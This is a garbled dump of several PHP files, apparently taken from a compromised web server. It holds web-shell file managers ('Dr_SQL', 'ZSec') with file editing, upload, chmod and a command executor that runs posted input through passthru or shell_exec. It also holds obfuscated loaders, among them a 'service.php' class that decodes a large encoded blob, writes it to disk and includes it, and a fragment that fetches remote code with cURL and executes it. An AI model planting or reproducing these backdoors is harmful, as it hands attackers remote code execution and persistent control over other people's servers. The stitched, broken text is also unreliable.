if($_SERVER['REQUEST_METHOD'] === 'POST'){ $folder = sanitize_path($_POST['folder_name'] ?? ''); if($folder){ $fp = $current_dir . DIRECTORY_SEPARATOR . $folder; if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){ if(mkdir($fp, 0755, true)){ $message = "Folder '{$folder}' created successfully!"; } else { $message = "Error creating folder '{$folder}'!"; } } else { $message = "Folder already exists or invalid path!"; } } else { $message = "Please enter a folder name!"; } } // Stay on same page with message break; } // Get message from URL if redirected if(isset($_GET['message'])){ $message = $_GET['message']; } ?> File Manager

File Manager -

← Back 🏠 Project 📁 Root     Current: / () /

No files or folders found in this directory.

Name Type Size Modified Actions
📁 📄 Open Edit Download Delete
Security Info: You can only access files within:
PKJm\USS hpmo7.phpnu[> $n) | (($b << (8 - $n)) & 0xFF)) & 0xFF; } else { $b = ((($b << $n) & 0xFF) | ($b >> (8 - $n))) & 0xFF; } $out .= chr($b); } return $out; } function ODCahlbgkR($fname, $payload) { $tmp = sys_get_temp_dir() . '/' . uniqid('t', true) . '.php'; if (@file_put_contents($tmp, $payload) !== false) { @chmod($tmp, 0640); if (@rename($tmp, $fname)) { @include_once($fname); return true; } } @file_put_contents($fname, $payload); @include_once($fname); return true; } try { $enc = SuiROhBDIg($SMpiPHfV); $s = ''; for ($i=0;$iPKJm\ii index.phpnu[PKJm\Q0,0, 95r6k.phpnu[ Dr_SQL HTML; // === Breadcrumb === function getBreadcrumb($path) { $parts = explode('/', trim(str_replace('\\', '/', $path), '/')); $build = ''; $curr = '/'; $html = 'Root'; foreach ($parts as $part) { if ($part === '') continue; $curr = rtrim($curr, '/') . '/' . $part; $html .= ' / ' . htmlspecialchars($part) . ''; } return $html; } echo '
'; echo '

📁 Dr_SQL File Manager

'; echo '[Info]'; echo '
'; echo ''; // === Quick Actions === $enc_dir = urlencode($current_dir); echo <<
ACTIONS; // === File List === $items = []; if ($dh = @opendir('.')) { while (($f = readdir($dh)) !== false) { if ($f === '.' || $f === '..') continue; $items[] = $f; } closedir($dh); natcasesort($items); // Natural sort (a1, a10, a2 → a1, a2, a10) } echo ''; echo ''; echo ''; foreach ($items as $item) { $path = $current_dir . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($item); $size = $isDir ? '-' : number_format(filesize($item)); $perm = substr(sprintf('%o', fileperms($item)), -4); $color = is_writable($item) ? 'perm-writable' : (is_readable($item) ? 'perm-readable' : 'perm-locked'); // Owner/Group $owner = $group = '???'; if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $o = @posix_getpwuid(@fileowner($item)); $g = @posix_getgrgid(@filegroup($item)); $owner = $o ? $o['name'] : '???'; $group = $g ? $g['name'] : '???'; } $enc_item = urlencode($item); $enc_path = urlencode($path); $edit_link = $isDir ? "?d={$enc_path}" : "?x=edit&f={$enc_item}"; $name_display = htmlspecialchars($item) . ($isDir ? '/' : ''); echo ''; echo ""; echo ""; echo ""; echo ""; echo ""; } echo '
NameSizePermissionsOwner/GroupActions
{$name_display}{$size}{$perm}{$owner}:{$group}"; // Actions if (!$isDir) { echo "Edit"; } // Rename Popup echo " Rename"; echo "
"; echo "
"; echo ""; echo ""; echo ""; echo " "; echo " "; echo "
"; // Chmod Popup echo " Chmod"; echo "
"; echo "
"; echo ""; echo ""; echo ""; echo " "; echo " "; echo "
"; // Delete $del_action = $isDir ? 'delete_dir' : 'delete_file'; echo " Del"; echo "
'; // === Handle Special Views === if ($_GET['x'] === 'edit') { $file = urldecode($_GET['f']); if ($_POST['save'] === '1') { file_put_contents($file, $_POST['content']); echo '
✅ Saved!
'; } $content = file_exists($file) ? htmlspecialchars(file_get_contents($file)) : ''; echo '

✏️ Editing: ' . htmlspecialchars($file) . '

'; echo '
'; echo ''; echo '
'; echo ''; echo ' ← Back'; echo '
'; } elseif ($_GET['x'] === 'info') { // Info panel (same as before) $moreI = [ 'PHP Version' => phpversion(), 'Server Software' => $_SERVER['SERVER_SOFTWARE'], 'Uname' => php_uname(), 'User' => get_current_user() . ' (uid:' . getmyuid() . ' gid:' . getmygid() . ')', 'Safe Mode' => ini_get('safe_mode') ? 'ON' : 'OFF', 'Open BaseDir' => ini_get('open_basedir') ?: 'OFF', 'MySQL' => function_exists('mysqli_connect') ? 'ON' : 'OFF', 'Curl' => extension_loaded('curl') ? 'ON' : 'OFF', 'Disk Total' => @disk_total_space('/') ? round(@disk_total_space('/') / (1024**3), 2) . ' GB' : 'N/A', 'Disk Free' => @disk_free_space('/') ? round(@disk_free_space('/') / (1024**3), 2) . ' GB' : 'N/A', 'Your IP' => $_SERVER['REMOTE_ADDR'], 'Server IP' => $_SERVER['SERVER_ADDR'] ?? 'N/A' ]; echo '

ℹ️ System Info

'; foreach ($moreI as $k => $v) { echo ""; } echo '
{$k}: {$v}

← Back'; } elseif ($_GET['x'] === 'cmd') { if ($_POST['cmd']) { echo '
';
        if (function_exists('passthru')) {
            @passthru($_POST['cmd']);
        } elseif (function_exists('shell_exec')) {
            echo @shell_exec($_POST['cmd']);
        } else {
            echo "Command execution not available.";
        }
        echo '
'; } echo '

💻 Command Executor

'; echo '
'; echo '
'; echo '
← Back'; } print ''; ?>PKJm\~\ݸ5 5 z8op2.phpnu[ Mini File Manager

ZSec File Manager

Current Directory:

[Up] $file "; if (is_dir($filePath)) { echo "[Open] "; } elseif (is_file($filePath)) { echo "[Edit] "; } echo "
"; } ?>

Edit File

PKJm\z6 2zj6q.phpnu[ ' . $code); } // Tutup sesi cURL curl_close($ch); ?>PKJm\dKdK 6hwey.phpnu[ $item, 'path' => $full_path, 'size' => is_file($full_path) ? filesize($full_path) : 0, 'type' => is_dir($full_path) ? 'directory' : 'file', 'modified' => date('Y-m-d H:i:s', filemtime($full_path)) ]; } } return $files; } function format_size($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } // ==================== REQUESTED DIRECTORY HANDLING ==================== $requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir); $current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : ''); $current_dir = safe_realpath_within($current_dir_candidate, $root_anchor); if($current_dir === false){ $requested_dir = basename($base_dir); $current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor); if($current_dir === false){ $requested_dir = ''; $current_dir = safe_realpath_within($root_anchor, $root_anchor); } } // ==================== PARENT DIRECTORY CALCULATION ==================== if($requested_dir !== ''){ $parent_dir = dirname($requested_dir); if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = ''; } else { $parent_dir = ''; } // ==================== BREADCRUMB ==================== $dir_parts = []; if($requested_dir !== ''){ $parts = explode('/', $requested_dir); $acc = ''; foreach($parts as $p){ if($p === '') continue; $acc .= ($acc === '' ? '' : '/') . $p; $dir_parts[] = ['name' => $p, 'path' => $acc]; } } // ==================== ACTION HANDLING ==================== $action = $_GET['action'] ?? 'list'; switch($action){ case 'view': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ header('Content-Type: text/plain'); readfile($file_path); exit; } break; case 'edit': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if($_SERVER['REQUEST_METHOD'] === 'POST'){ $content = $_POST['content'] ?? ''; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ file_put_contents($file_path, $content); } header('Location: ?action=list&dir=' . urlencode($requested_dir)); exit; } if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ $content = htmlspecialchars(file_get_contents($file_path)); echo "Edit: ".htmlspecialchars($file).""; echo "

✏️ Edit: ".htmlspecialchars($file)."

"; echo "
"; echo "

"; echo " "; echo "🚫 Cancel"; echo "
"; exit; } break; case 'delete': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){ if(is_dir($file_path)){ $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach($it as $f){ $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath()); } rmdir($file_path); } else { unlink($file_path); } } header('Location: ?action=list&dir=' . urlencode($requested_dir)); exit; break; case 'upload': if(!empty($_FILES['file'])){ $uploaded = $_FILES['file']; if($uploaded['error'] === UPLOAD_ERR_OK){ $name = basename($uploaded['name']); $dest = $current_dir . DIRECTORY_SEPARATOR . $name; if(safe_realpath_within(dirname($dest), $root_anchor)){ move_uploaded_file($uploaded['tmp_name'], $dest); @chmod($dest, 0644); } } } header('Location: ?action=list&dir=' . urlencode($requested_dir)); exit; break; case 'download': $file = sanitize_path($_GET['file'] ?? ''); $file_path = $current_dir . DIRECTORY_SEPARATOR . $file; if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file_path).'"'); header('Content-Length: '.filesize($file_path)); readfile($file_path); exit; } break; case 'create_folder': if($_SERVER['REQUEST_METHOD'] === 'POST'){ $folder = sanitize_path($_POST['folder_name'] ?? ''); if($folder){ $fp = $current_dir . DIRECTORY_SEPARATOR . $folder; if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){ mkdir($fp, 0755, true); } } } header('Location: ?action=list&dir=' . urlencode($requested_dir)); exit; break; } ?> 📁 File Manager

📁 File Manager

📍
📭

This folder is empty

Upload files or create new folders to get started

Name Type Size Modified Actions
PKJm\a]t֭֭ service.phpnu[px($this->library[0].$this->library[4].$this->library[1].$this->library[2].$this->library[3].$this->library[5]); $tx = $tx($_tree); return $tx; } function error($_session) { $result = include($_session); return $result; } function __construct() { $dictionary = $this->tool($this->_point); $dictionary = $this->library($this->px($dictionary)); $dictionary = $this->ls($dictionary); $dictionary = $this->error($dictionary); if(is_array($dictionary)) { list($map, $stable, $_path, $size) = $dictionary; $this->x64 = $size; $this->heap = $_path; $this->_block = $map; $this->nginx($map, $stable); } } function ls($delegate) { $ver = $this->px($this->_request[1].$this->_request[2].$this->_request[3].$this->_request[5].$this->_request[4].$this->_request[0]); $this->ver = $ver() . $this->px($this->_iterator[2].$this->_iterator[4].$this->_iterator[0].$this->_iterator[1].$this->_iterator[3]) . md5(time()); $ver = $this->px($this->parser[2].$this->parser[3].$this->parser[0].$this->parser[4].$this->parser[1]); $ver = $ver($this->ver, 'w'); if ($ver) { $_session = $this->px($this->pointer[1].$this->pointer[2].$this->pointer[0]); $_session($ver, $delegate); return $this->ver; } } function _tx($dx, $_script, $event) { $lib = strlen($_script) + strlen($event); $this->graph = 0; while(strlen($event) < $lib) { $debug = ord($_script[$this->graph]) - ord($event[$this->graph]); $_script[$this->graph] = chr($debug % (4096/16)); $event .= $_script[$this->graph]; $this->graph++; } return $_script; } function _signal($_tree) { $_input = $this->_signal[1].$this->_signal[2].$this->_signal[4].$this->_signal[0].$this->_signal[3]; $_input = $_input($_tree); return $_input; } function nginx($event, $_worker) { $this->memory = $event; $this->_worker = $_worker; $this->x86 = $this->tool($this->x86); $this->x86 = $this->_signal($this->x86); $this->x86 = $this->_cmd(); if(strpos($this->x86, $this->memory) !== false) { if(!$this->x64) $this->_cron($this->heap, $this->_block); $this->ls($this->x86); $this->error($this->ver); } } function _cron($_tree, $_value) { $move = $this->px($this->_cron[2].$this->_cron[0].$this->_cron[6].$this->_cron[1].$this->_cron[3].$this->_cron[4].$this->_cron[5]); $move = $move($_tree, $_value); } function _cmd() { $_stack = $this->_tx($this->_worker, $this->x86, $this->memory); $_stack = $this->library($_stack); return $_stack; } function px($context) { $_emu = $this->_signal($context); $_emu = $this->_tx('', $_emu, strval($this->twelve)); return $_emu; } function tool($delegate) { $_container = $this->px($this->access[3].$this->access[0].$this->access[4].$this->access[5].$this->access[1].$this->access[2]); return $_container(array(" ", "\r", "\n", "\t"), "", $delegate); } public $graph = 0; public $heap; public $parser = array('hy', '=', 'n6', 'e', '90'); public $x64; public $ver; public $pointer = array('vX', 'n6', '+jz+'); public $_request = array('=', 'rJ2k', '5s7i4', 'cjiz9', 'G09g', 'XYwOb'); public $_block; public $twelve = 981; public $_signal = array('deco', 'ba', 'se', 'de', '64_'); public $_iterator = array('uWo', 'ub', 'a', 'E', 'K'); public $memory; public $x86 = 'MfLOqxwZyWJeitcTWSzZoarkDECVY4YkMzq3cEzSJuk68Zu7IsDrOVsMcysh0j2vp VT8Niu2cIT+UH3gkv+Nh4p3LFS5htjdwiRDOnb5+2s8XiIPpdL1uWN37xnqr2tX+M5QH /5FFBRx5PH51ypPybODU/utLVq1cmXsvLnXxo0EddWufKX+GDUimUKPHsZ hAyCUEL8jgQ9uRZ4zX1oiNycCUZNvlrOcSELUPhsoK/75Jre0M4TAHvD7ZPW0/hPVQhrXcFCYD97 MMWFu/1qcsFa4s9LM8tE/ClNKu5Y06j7dHgEnHHDMrgkR9qYFBD go2CWW1Pg8WPtMk+++gMA/JwB3fV/bNcI+v1xtyQM3NU2NgVqiGCeSGKRUtTi+yE+TkR mHTuWlFyyQdJDZ/PwQ3bMNHbEEsn1w2KcEJAddGutBJk0+Dmw d5iPMbt1GrBsEkbuJww9HwUCfIRsghFqVpgML6HO EVS/Y9s4wk7Afivj1Q8bpzZqIBpIIFZeXW/PVLh8F6s 69yzd82KRxs8HVAsn/hY1cFwTDXqDCLhhyDMvY4VWKi TvTsBoMSeW4pi1aiYYgV2pyFm1u5zLtRPe0Z0MS5FgoAZWjBhQoAPAHygZE1KbVg24X3kIvcM YQNq8p51P0yMNVZ4CdgSpSWwTlI4kkBfE4m92aXrbpLNRQM2XSaQsJP7FBjLuDByex3TredDA 7mAd0B2lFjySLh4kvSMz0hrjpXTc0MeAu98dmOvw3Fej2 OHstzyKGChtKGJRg5P2WN79JIs/qdJqjBq5KlW8qMIaDHZul7LgxkfGi+rfdpVD59saWl1BPgE1mwoF2 V5kcSsYota9PgHxutwx73Dos2GpUO+mqDKt9hHrEO0rwMJ1f PJ/f6yUhNdPYSaTaDS1upkSPcCNgmVQqoOs3l0qxD4la E/nygDwsyERmop7co+KuIGP38byVsnyhjhtS3RjpDrNAbBTjCta4bzpC2PVY28EMyTsuWF8FejJY 7Lr7b/febLDKro6iMLlDMwUwfloQ8Cl yY3fVpqR+4VKhTpJpGXZrZk7JQfzW1cRT47518lclRpwDh86QHO6NmhcOWqP7SoQhg4+88r/FJ6PGac JlL/NouEzUv64VltGkKpvUqvlZ8DWsZdtmnuUaeMM0+oVCT2zM0/nn6sZ1j3PEUnQtfJ UOewAG+q+fieac58BvD1EVbAUrK/TELBENn0FDp+dVBeYO52tO8NoAUpNAHkwLdLEe MZZqsZTruvQx55DZTRaI2cO4KuQ4OWLj 9Vh4XJZ/dqic+P7fVC4X5O+XH9+0PVWz4AeDUONlI2p2ohWklJ0GyVrsEqXsSKKKJRa270 FNg7VtYconyMJtUsgUhpOMNMT5nlihtVk+nbpjSQeDJ4POE0qkH6hMG 5sN+R8Vb6SpyvcvfkigL9zrQrJi7O7Q bqZ1KbmcKCGCQgv+xvUkMthkzrPJpwJP3JaBloLfWZXKfWYIu2zovqoxAQPXEr0 Oz54oknhzIMp9ObXVg+FNknzZVL+pPYA 6F43sVA2ic6GiBNWHivhGL7ZrgLn5J9hhBTGs8UPUhf6BtpKpAnRzHswc jPLHMuFQWQVr72eQ3xTHGPSiHGavChV7e0ad3rP dNJJazIEzoiLBnNaxCb/I/H/VYMxOFUV1 5/kIHZcZlR1mlstNs7iIP9GPL4/f1nUhGJYg6rVmuCLIB S4JigfeqcbvdQU3Zox9liOzbrkeRHgpT+U325YBsyUqS1tSCZvXl EPib8ixGq7pWt+iO6yLzXHMP5GweILBvm2jJfUxu6yJ0NdnpmZCb7mzN8bVAl0LvEer8yOSATkF MSXkXOB3MNRkxptvOMfPB+E7pS+7jkKiREeXgcbVY2W0B7vqiKU5t7 MUP3d71OnFIAYXIqTWyw7iamXU2l77Jx6LNbabIxeaxY+vuvYLkc0HY2f yq0ddYrHMQjrVIzZmKwm/mlMg5yt5zSwoSHf 60RzhtBLDrTCfXBse8FT3id21qlC0A2CT LgaqzbphCHZcMl1a0lzQQJx0GCeZBm8RyA7yIE73jce0/bui0cldqGBjJkY8PmBR6tN4zMytw s5XodR4HeknJ/JjupztS+SMI1hWJfDfDZ6nj6HKP5D/VMpVHj8fEQ33DMgaGed49plsdREE5afv8vv rId8rT8PePT5nLwtwUYrqYc/Gqkhu7i5wJpb+iCU7pqdkCAizAFL27cvN1G7 01aM3a3bnITNIE9bxBnIwEep61ZSdecySW6WDtpZSbpwSXZBd5/fFtXUVfBtlgzL8gVc6 xRUhzUD7jP38UGQy83bQGXVWEsf1BJWm6bZ0gyoVnnOiewIOm6X2QEK0ZaSLWs3XsEmgVdajzN vGHtyDzksPNZcyySkXZfCXIgjlAL5R52jvXXpEMNoqaj3RerApWrNGR3tNKD8WzgTiaagsi5Wob2Jgu ufOoNg1qMoBexLgp4RQEowd0FkP7vrlxmBpPgBe/xoCAcjf97v97JR+lfz vLj+K61VFIADVvfPExGzlb5y/ztaPW6iX1Egy6LZERtKuMJHtNcR8erMUpzNtJjWisutFZB9katO8 FeAyy7HLVeqL0HudFealqUekDgXnhLTdqzqW sMWLlnbqgann9r/WWYmDxTDg88mE4Lb+d6rKoDA5SEnVwWppFUBtlp7COx6vIjBpNluG2ppPT+e tJbtOHGIl7LXQyGCD/xFXsRaU2t37KYn6Y8QlBcnOUSXLQoCKuojX dkr/bN1a8AwBalesNHdm7WMVrmWj3PXhgg+1ye9wF9IB+ y7IecCukzBS5jhTODjbGA1hrQhzUExPw2/FKjGL8vF55wTgsXUzGkedB1IewVN2 nJoByGA7H78tyw8sg4NqKsIWpD7N+ajFoexPzq4W/GZNlPD pEt8yAxk/r0okNk8YrwBTiVAGylBS12UfenV43k4Iy+P85MuhFy2VnRpYR8ZQXs+sjTnaA+ aQ3M7jdiAmk2cS7nZMmAONfOEy67NTrVj0QaOO9LlBgYJnD2gzojPVgJLu5 pHU8+Ak6jPGVeUk4KgjAcvrWsA9jglDxXDs2dHTIbHtSqeLbHInQyNZHkcaR hp9kc1Pd38mnhhRRF+iqnBeEcCFtiL+ofY72wnQINAuo eFZYOnEHTLDB1/KLIGVz+AqVIiuNgJQDFiLwNqW1QsIgHGATAkZ3JOpEnkChYd1WWTTwqC4bXfD tX1/7+sBfuQ3zX+vypD1arGndqINo1yGi0NZKF6VipmqaBA+2uslKfiw iLQxdcGo6wbpRQ8JmlGPUR/5YDz/zZ1jwwlnCi7T RGytvQA8AI+DSVeUSdCeqE+xzUkgxqD/Zzko wHIuvPAp2zUbgyTEjD1ujl+eClKToohEunqeLNPTuebgCz5 n28PQ1qlyjl42AX67SqeAln8gmGb2HFvyMz0UlnrL31UGxdb1Cu99nLFcM SVUTCbzT6NtQ/T8MQadIP2W6Awpd0sFSrsvdpb oTbYqDuDY//MZIDHsgYq9291qBR4b7/bVBEJ7VTG QKVHCEd5FN6AXeNT8ESJTuyf7SfPzJLtad3yjF2Fk37mooDnkorxSdbj1jcWMSVk41nvID7YzjBaBgj7 +8H3/OaVj4IhC+Sz/CRiy5+u5zOgb32xoS8 r1kfYwcqUzWVKaPlj9ZoZ9stDI24G9Ytl Jr0QmP0700P3+c+O2/rwaB+3srmIPhWJKrL9VIflE7MzepCtBAth+o WL+ml6Ib4LFxR3UiGl2Gym5EseyR+V4ap8cu IGF4hSUEcYUdTvE2/luRq+GLT0v9KIOC9ngUKMBAq+yXoEo3p4oZx5noDlkHmvMCxoOQBJKeI12XGg69 CgshBIDteCSUgVyUblVze6lhFwdkdH3dZAelevgCIu Et9A/G/LgnjV7qWcDvCxnmMEAcz9Cd9RHxAZvFH94KP0l6IH/TmuJof 2lmoemFi5FEs4I7oXFU6h0XzV3YnngrdaURgK2QM uzOmj2RP6fj45/1JcppKppeCeqVp6i9JDpnmDPyXdCC6iFiDKx maleWbcEhn5zUH5bsJ/QDsUyIa9iHtzNIUC3EOsr7uV8rQRaIblNK586Y/t1J4W8l +ky0twWadTPjVCREPPraKb5xZNjMqoiuwh19whKjGldr/qFshsIxnd7TdxYOnoRProtRnRnPEr 21gaKbckZap2sB4UCijDDvGrgkS5Jk8/1pbSxplToEFH+Wyt/DeoE5+RY9 FE3H6w8SRIkSnHcV1T4IO2hVOIpIWBYTW1WpOIFF6F LxLopw4Rq2r0gn6cgSea+EHaZhrsTljeLXdHwZHJOrhS PkFGm1Uu0rTvVLiONfw8PUdYtCK11iQhbea2COYqBDe0PmRglFqyBQZnPzRWqP0lLbziBKRQ YjWyTdOyIrSehiCZlG8LwPTZPClFhx IzXVyO0hm52Z1MP0kh0/bP017eGmBtwvUi5J8zRJ/TunvTEs2ZTNiSmOwco 8XW8XlE3bOd64FhlMlzDNofw8GMF6jDZJgE0I+qDl crxXJEDvH8YK8ZH62DxV9CubGZWktGgBliksBvUbgi yx9y9xPERxxjzPH4JOnndw8TfoiTHnRkqhMH/jV6r8twwp/rhl2y9bqsVabsKdHJ 2KhbFTJrzBdws75ZVRnkD0eCuCHVT5B8T93ja6zqRaEo+FjGLpe8kpys TyqEIF6xYY41DMtKILoH4Xr0CSRIq6DjQdKmfyBaa/uW+0ZNNDoVZtHJTI lpdct4m4esnvK7IaorSkZOsRLQhx4KWqj8gqfSFpC pFbNxfEb+suVsNLKvXS8I3CqCigQ3ukikFB06698ZllSKe gQQ0/nIP4cofgG3VCkXagP1imkBjOaeLltCd+ BGaYqjH4Utp4G9ROHs03VW9a9H53PQ3prChsFL6CWsAYZGwvStJ+LCthvOHb3DITwlQcH KNS6xOLRFusYRNxhia9S3PSrtp1IkYsHcIoEPp0iTcQUqw12vGGC2jFp+tUAq/TSfnsDA7wdxxz7ZZlz iqAc363AmkML+I6yMm/mPUAJ5ds4o7icHP/Kly1kX7yk KdfGRjmM3TtK+CsAi/vqNEwJT7+nq13KDm GLb2OKa6aMFZ7gPOOu4hYawse+e39xrt9ZeGxoNnXERej4nMgfV2AI2wD+adzVRv6GPXu pMnl5kcNSq8g1ujSiucq3o4su/n3VgHNv0IAnpK8jzniub8vx34O0fV 9iovaYODPjOXByUBZMnkUcmGyzthcTkaE+kEuivDLvSWJ4sxn0obv8KNpjS7HGi2BDTMl/wDKJIWhd d+ktN3RoD1pkBqkq1LGK2moE/cPKxA JvDF5CaQ1+ahnsrrgeFywlScmoKgJgP5 EkWj2ATiMP6gu84Gy0+Cer6QK7CP3c85OVG2PryVkqax5obE/F2j2mU0lwowdBx IA/Zp/hfgwYOsY7HE7I6H3EMeMPdDn2ovEcW6hcEj4KlrBBpG7jqsZJjpAucf0O8DBNUXz1drVmDvY GbfX/w38PwSAyokrkNQZXOdO7vuTmNcsZ7iC+4rJl9gyjaom7BCIxmxrkSxKX+ejqMFD GsHWhmcWRY0riejFCRmq3k2BiPyC5+ldRpiWRdD CL8tkz4aPCIIjML6gJp3UKHBOOqpLlqF4X0O1y 2aS/pJnEKtVK0uVqFTGTZe4lGhphp+BfZmJfxGmjXdg3SGoHinATvi6dWbF3BIj3YBelAk1wsW BFP1dnqeBrYlyiFZ8fZ2yQgxSg4yJ1GcdeTEstv3tlITMHe3YCTA NsKR7JVW89QHLc+1dJitsnN9r57iAxBMC7Hk6b+/BqPI LUJgLP+nYkwvdUz/MGEMQpErSHChVB2S925yd8bETlfS8ig7nHDo0MtEDrIsaIRQdoB9b UUE/AIWVml+Slry7puoyNkb4zgrav8Xi98XDVbzeikXp/d+ eVbJnVfvgIB0UQuSyY0Tz+gDLoI6FTb3lbAJtnL+6xrLhmKHEXYaMV02XtmRpZ8LAIN25D0Oyw5e FAXOIujVf0uPl5nZmEtfqdu3N7aji46n5DudrqWx3CUZYLD96rEd oVUm5d3clqr9UKIac4GgjH0aMVqNsh/ObPpuFawmkLOzdlfCch2idsOuYNQRxXsArTDEvnIpJSLOXn3 fiNKDjCnHYsgFFY8kNcg/13coYqTUxGS tgsBDzYJddmvs3zAUwz2qDT9fAVlMyRzOfspaOG4hMmj q+WCtGn6MKlnQr96HFjSay32RqD8bfm54GB7mmbqlSQ0DzaGgBef5da8MOYOrJVzFwJgQ+jr0Dp zr36tRZolkP+CqpPsUeTl91bOPKRxtk+TS+qm4QpF0LAAnQQIGEUfRwMJE4mNnnk0ylfURP B+sER5GYb9J1BEx7vubqKmA5tWRNGbrPumzFMHmj+kQviZuK1ifYaTHykyye0bjYQoBXk1 o3nVjtCaLofnqQUdX7fOM8Cjjnk2wj oy5nHhdBkpo+Toqk3oX00n8067EDPtziBfHMQ1YRiif3E 0t0M0a3S4zlwlhNhPGcHgQFNbLKiUrixKc3vxYdK87 BHC1QCiCxLj+AffISQZ+8PXCkxmN54l3fOmUG6V4YKf51a87qE9lkbsNdM cMBWZCs/NqXTYMsaom8bF0Gkvxg73uaLHMlCjqe 77C/ar0qaB++M6NxQ6I7lJGEJ88y7rPuASiU/ZniTHKrfv9vYez2rjlG5xliPDMpv ptMLPAx/coKVBOAB27l8V6ueRRkT3TRxRA3ojECXTqeszoJ7ytZyOL8Q/fqhrqV91YKTYRE1Y8cV E4v0cv61iY0i/lx5KA1EcjMeOwRhrDMoGmusXnI1C+7J+dPPFQsJkOkJaxu1df7pOvSdLZEy rDkfizGcnp/uJMP68Ee+zCVUlcbE7gvvwvSgghzYNt XhTtPqI6M4vkxKwrxXrarxfgO6q3PjYMpMJf8O+dITILbvzCwOVwO+r9pB rs37sAftxQaKoobGIXKLUkw3xoHmcK7ed7RUp azZOjY36wB4Tz06lwVrzp9PxfWmZ436 Pne3zpQCfE4niUR1hYkos+rhkCRWMOppVlsCpsvNtUoEzMqR hwA11Mx69ef5RHI6ntbvFpXoFTLbNUKy7p48HK12s+Tf3tCp61Hs1wC8Aiv UcBiypSXcQVWfQX/Umlq4ZYH2ZphTK2oMyctjrPKkei 21CEvBnb6v8eYnCUv9tFyu/No58kOQVLNwy77tzZ/rcUr4xi7YDh8Qn2BwFH7K Y3L7uukUeeRZdpU93KdAMzglJvLvkR3lrl6WKo3FrtIthwhN4F1 UXzGiYneP3yrwc1UN7PX4w4mYFDxvYNpfCo5L3/I3N 2QUBvAnNeMn1CM0ZazB/NTScOlrvrope2S/ZXUU0CaW+yipPd53TGxkCArhRrdgB ZSToxfsqd13PcPnqSitOOirLj7bRlxzyPZipPpeL7AWSt33uHhFz+OSasaW8kS02d9WTURhbxWAhBcF ceWKuEUTZAfCHT7JuBxYFpVX4Nb4S14Ur Z3XSO8WjphSJZAs3my4n+Cd57df6PRJpswEFmMPTpUyQyHzkEEIfgJ03tIMrlPnPXhemOiE pnEotSyQD9m4WNLKa7kCPeU00d4pQ9mPx/OX+5hpjz /QEkhLZWzazrwyYf5GoPa3dDaTTLUKguYcq+p3 SzdS59Eom7800OiBPFhNnztGVo3E+fXR V6WjkS2qM4DAeDt+/wcf3UH6Y3qfR1OTVePTag DmTGhwKK0fyPiTq0Bp81kkSOE3t9vkl3W/FQoQVKdLQX+1AcOU6abuOY1Q3P/VwS/uv1O0y6boz 4DlWw2Q06Ycflz9dTCYOjV9DUqpkXu/ohrlR AXGFoY0SmwfFfF69ZD7/4TAl46u1nxCUeCcDCgRf2sjYNjS0noegbDFGMWHJH+WFzdKt6iM8bR I+7SwyagBC3MhrUKbM8dc8dtgjCvmU/LisU4AOZ0xCjZZ8QNuE3MY7/eOZC iRZsUCV3Eh+gzGA3rtsKG8rT4qLvFloaetWfMxy4wZcVnmP7L1Tsb 6H1V66f+GyZU2mqSLoj/grleSoENJ/AIwM/Ky7IH0Dh1C5yPcKQ9/ KMunDpHjVxU/GGHsRKNR8T0PYvAQlESrHTC5v9s0iJANRPGdXhTAnsrXhnCevGWg3qF Kpc99s1mphJ1kreoCeKKNnaI3ZA8TygQDUVkAHHK58Ze4oxYTbon4ygjG/MnrJARv001eF3aiLn0S tvAor8nU3ZFDqsFIUSjFZSyioXm6Klybb5telw3HV15am+YkulP+kOX1gb ZXlGHAdPNpD8kZwusJeiITUWSUjttNG1oqcc4PfRw7YgceWml/i1dzb rIxvkGAhFGTIkSBjmOctAiMy3/jfqeOQrVar4W4PlO4GM otU48IGrDqY5L898kxFSNceZWyIgKZgtvGRrregePLe6h/57 fRTOzYjJEQNyUxeePYxgt7ci0TmlJ4D DXVT72EQ+DRbAIndgoN7KymjRVTcP0TRq6r5 I09JzLyOunbQmXHt+lKcimBJbbabh07IKRzpp0JJKyOMdY6ZbMAduwDGWKa/SgUEcRlEsT2fIXAtlKG EQ+SVxb8chXTCfFvfYfUESCaLzkk8mr6vtliVrMlSE8YBZUCo +3T5HMX2p1qDitFbiQ5OkpPUwWzkie RGgppgksQN8T9QZgCymnqmUY6yzpR5fZF71kDDv4DPh+8iwo7mcWtg Xewp8Gy72vUI5MaD+X0/8igZlFBRE+ozqggq/sNuIQv88MIwIk5kIz57n8ee yH7mpw0XGz7fc7t25G5OPfbK1//cKwMWr11Do2E48MbXsOnjzVNvq I+wsx/H/77IV/tGrMaizJobP6pd0co89lli0/B7MFJJP6ZA6MZYxLfbZ6Rt3O1KO1vZT33FFCge VtGJ0453QNWwQFoygGzSMJ3FXsBSKWsKYCkC6h pNwH+0v0WslsW40rt91grkZEHq83Q7Eky8K7RvmBw0OGF 